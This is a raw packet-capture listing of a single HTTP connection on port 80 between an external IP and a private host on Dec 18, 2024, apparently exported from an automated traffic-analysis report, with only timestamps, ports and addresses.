Dec 18, 2024 15:22:11.330151081 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.330254078 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.330262899 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.330321074 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.331228018 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.331280947 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.331330061 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.331330061 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.332384109 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.332442999 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.332555056 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.332555056 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.333389997 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.333435059 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.333595037 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.333668947 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.334482908 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.334517956 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.334577084 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.334577084 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.335634947 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.335716963 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.335766077 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.335906029 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.336611986 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.336721897 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.336755991 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.336776972 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.337748051 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.337804079 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.337814093 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.337896109 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.338790894 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.338885069 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.338902950 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.338992119 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.339871883 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.339925051 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.339945078 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.339997053 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.340965986 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.341048956 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.341113091 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.341180086 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.342011929 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.342106104 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.342120886 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.342186928 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.343110085 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.343170881 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.343250036 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.343328953 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.344229937 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.344286919 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.344367027 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.344438076 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.345511913 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.345611095 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.345627069 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.345690012 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.346539974 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.346600056 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.346697092 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.346770048 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.347476006 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.347538948 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.347604036 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.347729921 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.348504066 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.348557949 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.348581076 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.348601103 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.349546909 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.349632978 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.349678040 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.349749088 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.350665092 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.350778103 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.350831985 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.350831985 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.351710081 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.351761103 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.351772070 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.351869106 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.352793932 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.352979898 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.353038073 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.353038073 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.353888988 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.354087114 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.354099035 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.354155064 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.354995966 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.355031967 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.355060101 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.355076075 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.356247902 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.356334925 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.356339931 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.356400013 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.357152939 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.357209921 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.357269049 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.357322931 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.358298063 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.358350992 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.358460903 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.358460903 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.359251022 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.359302998 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.359330893 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.359369993 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.360428095 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.360475063 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.360496044 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.360557079 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.361485958 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.361520052 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.361551046 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.361571074 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.362489939 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.362557888 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.362669945 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.362771988 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.363584995 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.363641024 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.363746881 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.363812923 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.364650965 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.364706993 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.364787102 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.364839077 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.365709066 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.365830898 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.365923882 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.365978956 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.366769075 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.366887093 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.366950989 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.367002964 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.367892027 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.368000984 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.368005991 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.368103027 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.369086981 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.369170904 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.369177103 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.369282007 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.370148897 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.370199919 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.370240927 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.370255947 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.370332956 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.371258020 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.371315956 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.371361971 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.371409893 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.372231007 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.372291088 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.372339010 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.372392893 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.373301029 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.373404026 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.509053946 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.509130955 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.509234905 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.509411097 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.509447098 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.509545088 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.509710073 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.509810925 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.509848118 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.509917974 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.510780096 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.510878086 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.510888100 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.510932922 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.511907101 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.512007952 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.512032032 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.512072086 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.512962103 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.512988091 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.513029099 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.513029099 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.514143944 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.514194012 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.514281988 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.514353991 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.515106916 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.515158892 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.515284061 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.515427113 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.516206026 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.516290903 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.516335011 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.516398907 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.517276049 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.517394066 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.517416000 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.517481089 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.518316031 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.518376112 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.518395901 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.518559933 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.519392014 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.519448042 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.519500017 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.519578934 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.520490885 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.520627975 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.520648003 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.520689964 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.521596909 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.521646023 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.521718025 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.521778107 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.522623062 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.522676945 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.522725105 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.522773027 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.523720980 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.523761034 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.523825884 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.523825884 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.524899960 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.524986982 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.525021076 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.525094032 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.525897026 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.525913000 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.526015043 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.526968956 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.527081966 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.527105093 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.527156115 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.528024912 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.528081894 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.528095007 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.528150082 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.529119015 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.529232025 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.529244900 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.529318094 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.530174971 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.530230045 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.530323029 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.530381918 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.531296015 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.531352997 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.531375885 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.531424999 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.532391071 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.532495022 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.532545090 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.532545090 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.533432007 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.533492088 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.533554077 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.533617973 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.534539938 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.534653902 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.534715891 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.534809113 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.536411047 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.536465883 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.536520958 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.536520958 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.537379026 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.537503958 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.537513971 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.537719011 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.538441896 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.538496971 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.538542032 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.538609028 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.539572954 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.539663076 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.539696932 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.539828062 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.540875912 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.540962934 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.540963888 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.541023970 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.541845083 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.541897058 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.541910887 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.542001009 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.542737961 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.542772055 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.542814970 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.542814970 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.543591976 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.543626070 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.543678045 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.543678045 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.544455051 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.544538975 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.544617891 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.544682026 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.545418978 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.545520067 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.545526981 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.545599937 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.546397924 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.546540022 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.546546936 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.546591043 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.547575951 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.547667980 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.547672033 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.547729015 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.548546076 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.548662901 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.548710108 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.548768997 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.549653053 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.549712896 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.549778938 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.549848080 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.550712109 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.550797939 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.550859928 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.550929070 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.551786900 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.551853895 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.551858902 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.551925898 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.552872896 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.553021908 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.553030014 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.553087950 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.554061890 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.554141998 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.554227114 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.554294109 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.555152893 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.555218935 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.555258036 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.555340052 CET	49910	80	192.168.2.5	31.41.244.11
